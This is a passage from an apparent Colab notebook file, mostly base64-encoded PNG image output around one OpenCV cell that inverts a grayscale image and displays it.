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\n" + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "inverted_image = 255 - gray_image\n", + "cv2_imshow(inverted_image)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 497 + }, + "id": "eHOy_wuKbwiu", + "outputId": "89581a53-a99c-499f-edc5-f11cc506f008" + }, + "execution_count": 14, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "image/png": "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